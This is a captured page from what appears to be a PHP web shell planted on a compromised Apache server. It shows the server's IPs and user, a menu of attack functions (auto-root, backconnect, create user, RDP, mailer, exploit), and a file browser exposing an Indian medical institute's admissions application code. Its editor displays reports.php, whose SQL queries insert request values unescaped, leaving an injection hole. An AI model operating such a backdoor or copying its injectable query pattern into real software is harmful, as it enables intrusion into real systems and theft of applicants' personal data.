Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 3.135.206.19
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
misc /
public_html /
nium /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
applicationForm.php
19.66
KB
-rwxr-xr-x
applicationFormReportSBM.php
21.55
KB
-rwxr-xr-x
candidate_report.php
5.99
KB
-rwxr-xr-x
cappcontext.php
2.87
KB
-rwxr-xr-x
coutput.php
1.75
KB
-rwxr-xr-x
crequestbroker.php
2.49
KB
-rwxr-xr-x
csessions.php
514
B
-rwxr-xr-x
cuser.php
3.41
KB
-rwxr-xr-x
custom_mregistry.php
122
B
-rwxr-xr-x
getnumword.php
7.15
KB
-rwxr-xr-x
json.php
33.22
KB
-rwxr-xr-x
login.php
2.12
KB
-rwxr-xr-x
main.php
9
KB
-rwxr-xr-x
mregistry.php
2.91
KB
-rwxr-xr-x
mregistry_15092014.php
2.38
KB
-rwxr-xr-x
registration.php
41.83
KB
-rwxr-xr-x
registration09082016.php
31.84
KB
-rwxr-xr-x
registration1.php
21.71
KB
-rwxr-xr-x
registration_27082015.php
31.68
KB
-rwxr-xr-x
registration_before_hallticket...
23.29
KB
-rwxr-xr-x
registration_closed_after_last...
32.47
KB
-rwxr-xr-x
registration_old.php
22.54
KB
-rwxr-xr-x
report_hall_ticket.php
11.15
KB
-rwxr-xr-x
reports.php
5.29
KB
-rwxr-xr-x
sample.php
9.27
KB
-rwxr-xr-x
sample_pdf.pdf
13.52
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : reports.php
<?php ini_set("display_errors","On"); require('tarka_pdf/fpdf.php'); error_reporting(E_ALL ^ E_NOTICE); class PDF extends FPDF { //Page header function Header() { //Logo $this->Image('images/nium.jpg',10,7,23); //Arial bold 15 $this->SetFont('Arial','B',15); $this->Cell(180,6,'NATIONAL INSTITUTE OF UNANI MEDICINE',0,1,'C'); //Line break $this->SetFont('Times','B',9); $this->cell(180,6,"Kottigepalya, Magadi Main Road, Bangalore, Karnataka - 560 091","0",1,"C"); // $this->Cell(90); $this->SetFont('Arial','B',12); $this->Cell(180,6,'PGET 2016 - MD / MS (UNANI)',0,1,'C'); //$this->Cell(180,6,"APPLICATION DETAILS","0",1,"C"); } //Page footer function Footer() { //Position at 1.5 cm from bottom $this->SetY(-15); //Arial italic 8 $this->SetFont('Arial','I',8); //Page number $this->Cell(0,10,'Page '.$this->PageNo().'/{nb}',0,0,'C'); } } function writeApplicationListDetailsTopdf($aobj_context) { session_start(); $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); $appfrom = $aobj_context->mobj_data["vappfrom"]; $appto = $aobj_context->mobj_data["vappto"]; $repType = $aobj_context->mobj_data["freptype"]; $selectAll_query = "select LEFT(fname,16) as fname ,fappno,fcatcode,DATE_FORMAT(flogdate,'%d/%m/%Y') as flogdate, case when `fappstatus` = 'A' then 'Accepted' when `fappstatus` = 'D' then 'Deficiency' else 'Not Received' end as fappstatus , LEFT(fappremark ,22) as fappremark from student where fappno between '{$appfrom}' and '{$appto}'"; $selectAllack_query = "select LEFT(fname,16) as fname ,fappno,fcatcode,DATE_FORMAT(flogdate,'%d/%m/%Y') as flogdate, case when `fappstatus` = 'A' then 'Accepted' when `fappstatus` = 'D' then 'Deficiency' else 'Not Received' end as fappstatus , LEFT(fappremark ,22) as fappremark from student where fappno between '{$appfrom}' and '{$appto}' and fappstatus in('A','D')"; $selectAck_query = "select LEFT(fname,16) as fname ,fappno,fcatcode,DATE_FORMAT(flogdate,'%d/%m/%Y') as flogdate, case when `fappstatus` = 'A' then 'Accepted' when `fappstatus` = 'D' then 'Deficiency' else 'Not Received' end as fappstatus , LEFT(fappremark ,22) as fappremark from student where fappno between '{$appfrom}' and '{$appto}' and fappstatus = 'A'"; $selectDef_query = "select LEFT(fname,16) as fname ,fappno,fcatcode,DATE_FORMAT(flogdate,'%d/%m/%Y') as flogdate, case when `fappstatus` = 'A' then 'Accepted' when `fappstatus` = 'D' then 'Deficiency' else 'Not Received' end as fappstatus , LEFT(fappremark ,22) as fappremark from student where fappno between '{$appfrom}' and '{$appto}' and fappstatus = 'D'"; $select_query=''; $header_type =''; if($repType === 'all') { $select_query = $selectAll_query; $header_type = 'All Applications'; } else if($repType === 'allack') { $select_query = $selectAllack_query; $header_type = 'All Acknowledged'; } else if($repType === 'ackaccp') { $select_query = $selectAck_query; $header_type = 'Ack - Accepted'; } else if($repType === 'ackdefi') { $select_query = $selectDef_query; $header_type = 'Ack - Deficiency'; } $lobj_result = $aobj_context->mobj_db->GetAll($select_query); $pdf=new PDF(); $pdf->AliasNbPages(); $pdf->AddPage(); $pdf->SetMargins(10,5,10); $pdf->SetFont('Arial','',12); $pdf->Cell(180,6,"APPLICATION DETAILS (" .$header_type . ")","0",1,"C"); $pdf->Ln(10); $header=array('Sl No.' ,'App No.' ,'App Date' ,'Name','Cat.','Ack Status','Remarks'); $pdf->SetFillColor(255); $pdf->SetLineWidth(.4); $pdf->SetFont('','B',10); $w=array(12,20,25,45,20,30,43); for($i=0;$i<count($header);$i++) $pdf->Cell($w[$i],10,$header[$i],1,0,'C',true); $pdf->Ln(); $pdf->SetFillColor(224,235,255); $pdf->SetTextColor(0); $pdf->SetFont('','B',10); $fill=false; $adm_ln_counter=0; $sln = 0; foreach($lobj_result as $key => $value) { if($adm_ln_counter > 24) { $pdf->Cell(array_sum($w),0,'','T'); $pdf->AddPage(); $pdf->Cell(180,6,"APPLICATION DETAILS (" .$header_type . ")","0",1,"C"); $adm_ln_counter=0; $pdf->Ln(10); $pdf->SetFillColor(255); $pdf->SetLineWidth(.4); $pdf->SetFont('','B',10); for($i=0;$i<count($header);$i++) $pdf->Cell($w[$i],10,$header[$i],1,0,'C',true); $pdf->Ln(); } $sln++; $pdf->SetFont('Arial','',11); $pdf->Cell($w[0],8,$sln,'LR',0,'C',$fill); $pdf->Cell($w[1],8,$value[fappno],'LR',0,'C',$fill); $pdf->Cell($w[2],8,$value[flogdate],'LR',0,'C',$fill); $pdf->Cell($w[3],8,$value[fname],0,'L',25,$fill); $pdf->Cell($w[4],8,$value[fcatcode],'LR',0,'C',$fill); $pdf->Cell($w[5],8,$value[fappstatus],'LR',0,'C',$fill); $pdf->Cell($w[6],8,$value[fappremark],'LR',0,'L',$fill); $adm_ln_counter++; $pdf->Ln(); //$fill=!$fill; } $pdf->Cell(array_sum($w),0,'','T'); $file_path = "applicationDetails.pdf"; $pdf->Output($file_path); header('Content-Description: File Transfer'); header('Content-Type: application/pdf'); header('Content-Disposition: attachment; filename='.basename($file_path)); header('Content-Transfer-Encoding: binary'); header('Expires: 0'); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Pragma: public'); header('Content-Length: ' . filesize($file_path)); ob_clean(); flush(); readfile($file_path); exit; } ?>
Close